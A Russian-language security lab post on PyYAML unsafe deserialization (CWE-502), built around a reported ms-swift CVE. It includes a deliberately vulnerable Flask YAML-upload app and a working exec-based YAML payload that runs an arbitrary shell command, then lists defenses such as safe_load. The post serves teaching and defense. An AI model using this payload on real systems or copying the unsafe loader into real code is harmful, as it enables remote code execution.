👀 Делимся небольшой «лабораторной работой», которую можно повторить самостоятельно. Она касается уязвимости «Десериализация ненадежных данных» (CWE-502). Эта уязвимость в некоторых случаях может приводить к удаленному выполнению кода (
RCE).В библиотеке
PyYAML существует задокументированное поведение, которое позволяет исполнять произвольный Python-код. До версии 5.4 это поведение вызывается не совсем явным образом, через yaml.load(), который по умолчанию разрешает исполнение Python-скриптов. В более новых версиях PyYAML поведение вызывается более явно — через yaml.unsafe_load(). Если сторонний пользователь может контролировать файлы, загружаемые в yaml.load() в версиях PyYAML >=5.4, то это открывает возможность для RCE атаки.😬 «Лабораторная работа» основана на недавно найденной уязвимости CVE-2025–50460 в проекте ms-swift.
😬 Метрики
Base Score: 9,9
CWE: CWE-502
😬 Код и необходимые компоненты
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.
from flask import Flask, request, render_template_string
import yaml
app = Flask(__name__)
HTML = '''
<!doctype html>
<form action="/" method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Загрузить>
</form>
<pre>{{ result }}</pre>
'''
@app.route("/", methods=["GET", "POST"])
def upload():
result = ""
if request.method == "POST":
file = request.files.get("file")
if file:
try:
data = yaml.load(file.read(), Loader=yaml.FullLoader)
result = f"Загружено: {data}"
except Exception as e:
result = f"Ошибка: {e}"
return render_template_string(HTML, result=result)
if __name__ == "__main__":
app.run(debug=True)
😬 Полезная нагрузка
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.
!!python/object/new:type
args: ["z",!!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('<RCE>')"
type(...) динамически создаёт новый класс zz() создаёт экземпляр этого классаobj.extend(...) вызывает exec(...), передавая туда строкуВнутри этой строки вызывается
os.system("<RCE>")В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.
😬 Как защищаться
1) Обновите
PyYAML.2) Для более старых
PyYAML используйте yaml.safe_load().3) Ограничивайте возможность загрузки yaml для сторонних пользователей.
